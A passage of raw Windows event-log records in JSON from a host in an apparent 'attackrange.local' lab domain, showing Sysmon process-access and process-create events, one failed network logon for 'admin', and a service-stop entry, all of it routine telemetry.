ws\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221484,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59318\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59318","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76806,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The NetSetupSvc service entered the stopped state.","param1":"NetSetupSvc","param2":"stopped","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.265\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nSourceProcessId: 3608\r\nSourceThreadId: 3616\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.265","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","SourceProcessId":"3608","SourceThreadId":"3616","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.315\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00101A310300}\r\nProcessId: 3596\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 